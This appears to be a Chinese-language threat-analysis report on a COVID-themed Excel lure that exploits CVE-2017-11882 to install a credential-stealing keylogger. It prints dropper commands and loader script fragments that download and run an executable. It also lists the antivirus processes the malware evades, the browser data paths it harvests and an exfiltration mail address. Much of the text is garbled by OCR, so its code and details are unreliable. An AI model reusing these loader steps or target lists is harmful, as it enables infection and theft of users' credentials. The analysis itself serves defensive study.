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R4 Fft 2 “COVID-19 SUSPECTED PORT.xIsm” TeH RN Z, —BHFTIFHSFIH CVE-2017-11882 JFil
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A The cells of this document are locked and will not
have data in them until the "Enable" button is pressed.

Shellcode : "cmd /c ren %tmp%\yy y.js&CSCRIPT %tmp%\y.js"
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var cbishell = new ActiveXObject (“Wscript.Snell®):
var strfolderpath = cbjshell. !mndznvnamntsuxms( Atenpht);

function ChangeFileNaze()
Bt

var fso, £;

£30 = new ActiveXObjlect (“Scripting.Filefyatentuiect®)

£ = f30. Ge:h!cuu!oldcmuh + "\\" ¢ "xx"):

g.name = “xx.vba®://BEINTNE e L B B Hxx vba FIE T
)
ChangeFileName() :
var r = pew ActiveXObjecs(*w Ce G C2c® ¢ *"zipt " ¢4 strfoldezpath ¢ “\\" ¢ “"xx." ¢ “vha“,
var ju = new ActiveXObject ("
Var rr = new ActiveXObject(“Jc:
rr.DeleteFile (strfolderpath +

«false):

xx X5

xx.vbs A E R FIW system32 Hx N EMA ecmd.exe XA, BHAEEIZICAE, Wz AR SS# T 0%
B b {4 X d i z B P T . e X e ,
HARMFAEA M ProgramData H 3%, H %4 manithfgdhfexe, B JEHAT 14

thﬁtan - hnhztﬁq ¥ ks
WETEEna, nei!b\"’!ﬁﬁa i2 A07 TREB T ATEHNC:\Prograndata\mani thegdns . exe FF0 1T

Set f30 = Czeuecbaect( 1pcing.FileSysteaCbject®) *37491
path = “C: N 2\ gmav
pc:r-wno .. exe”

= it (fso.FileExists(path)) Then ‘37491

gy HTXTPDownload fadfdsfs, yulkytjcrhr)rkdsariky
] I2 (3=1) Thes '374%1

dim Just_obj

RUNC = yulkytitrhtjirkdsariky '37 49

Zval (Execute("jusr ob).* ¢ "exec B “)) 3%
J Lise
msg = path €& * doesn’s exist.® ‘37451
Eng If
] Else
®ROg = path & " dosan't sxiat." ‘3749
End If
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manifhfgdhf.exe /& —MNEIIRIGEN C# 127, BT F B LI R =B B 3 —Br B el i
WAF R BRSO XXXXXX SREES [ Bt payload, #AJ5ifid Assembly.load fN#E —Fi Bt payload
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XrZjVqWe.dll 3+ X(String) /7%, 2 H LOL.Main(String) /7 ¥ N #4755 = B payload.

aethodlnfo = type. GetRethads () (0]

M B payload 43T

XrZjVqWe.dll & —A> C# a5 1 dll S, B8 7 NBEIESCHE, HEZDREW T :

o % manifhfgdhfexe SCfF#5 WA StartUp HE3IH &, FE7EF H F Al 7y 00 15 B s
PR R Gt

fife %5 - m#k LOL.dlL, = EIRENHIW R G4 &% Windows Denfender iR A<

fift % FE %X unhook.dll, EEIRE NG HAD AV 77 i

fil I INE 26.d11 , EEIEENINE I payload H & ik

fifk 2 PR S KeywordsGBKvCQq 3RELES —Fi Bt payload F+1# 1 26.d11 IIERHAT s

unhook.dll S4BT RE 2 HIWT RELH 1T AV 77 dh R RGUhRAS .

TR TR AFAE U0 T SR
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C:\Program Files\AVAST Software
C:\Program Files (x86)\AVAST Software

W e SAFAE A T HERE:
BullGuard a2guard drweb AVGUI
bdagent odscanui bdredline vsserv

WERAAAAE Bk 2247 i JF B R GEhicA 72 Windows7/8/8.1/10 MI#hAT

=M B payload 53#7:

ZPATHY payload 2 —A C# S WERERET, JmiEmt (A28 2020/4/9 14:31, HFLEIIE NI H
JH & m @i SMTP ik

F'@U@ E AR B0k, AR R
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AppData\Local\Yandex\YandexBrowser\User Data\Yandex Browser”
AppData\Local\360Chrome\Chrome\User Data\360 Browser™
AppData\Local\Iridium\User Data\iridium Browser™
AppData\Llocal\Comodo\Dragon\User Data\Comodo Dragon™
AppData\Local\MapleStudio\ChromePlus\User Data\Cool Novo"
AppData\Local\Chromium\User Data\Chromium™
AppData\Local\Torch\User Data\Torch Browser™
AppData\Local\75tar\75tar\User Data\7Star”
AppData\local\Amigo\User Data\Amigo”
AppData\local\BraveSoftware\Brave-Browser\User Data\Brave”™
AppData\Local\QIP Surf\User Data\QIP Surf™
AppData\Local\Coowon\Coowon\User Data\Coowon"
AppData\Local\Microsoft\Edge\User Data™

BRI (5 S 511

BT,

BHRAR B 5 A (S 2 A%,

VWAV VEW W AL WaET

23

AppData\Local\CentBrowser\User Data\CentBrowser™
AppData\Local\Chedot\User Data\Chedot™
AppData\Local\CocCoc\Browser\User Data\Coccoc”
AppData\Local\Elements Browser\User Data\Elements Browser™
AppData\Local\Epic Privacy Browser\User Data\Epic Privacy™
AppData\Local\Kometa\User Data\Kometa"
AppData\Local\Orbitum\User Data\Orbitum™
AppData\Local\Sputnik\Sputnik\User Data\Sputnik™
AppData\local\uCozMedia\Uran\User Data\Uran™
AppData\Local\Vivaldi\User Data\Vivaldi®
AppData\Local\CatalinaGroup\Citrio\User Data\Citrio™
AppData\Local\liebao\User Data\Liebao Browser”
AppData\Local\Fenrir Inc\SleipnirS\setting\modules\ChromiumViewer\Sleipnir 6"
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SC: Screenshots B[ 15 43P 3R HHF _EALE — X 5 al A .
KL: KeyLogs if# I ic BER1RAE SON RIERE, AERG 20 408 bAL — M5 BB R A MR .

amani@platinships.net
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Vo R R RS, R A 55 R, O TR R
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WAS REMBHRITR

v S EEIRFLA 15.823.60, =REDIRAS 15.823.71, BRIGARAS 15.823.00 T4 0] LLK& I,
15 H P R s T 2800 BE RS AR A

v EPXHZIRIE, JEfE %4 DS 77 ) DPL A4 .
1008746-Microsoft Office Memory Corruption Vulnerability (CVE-2017-11882)
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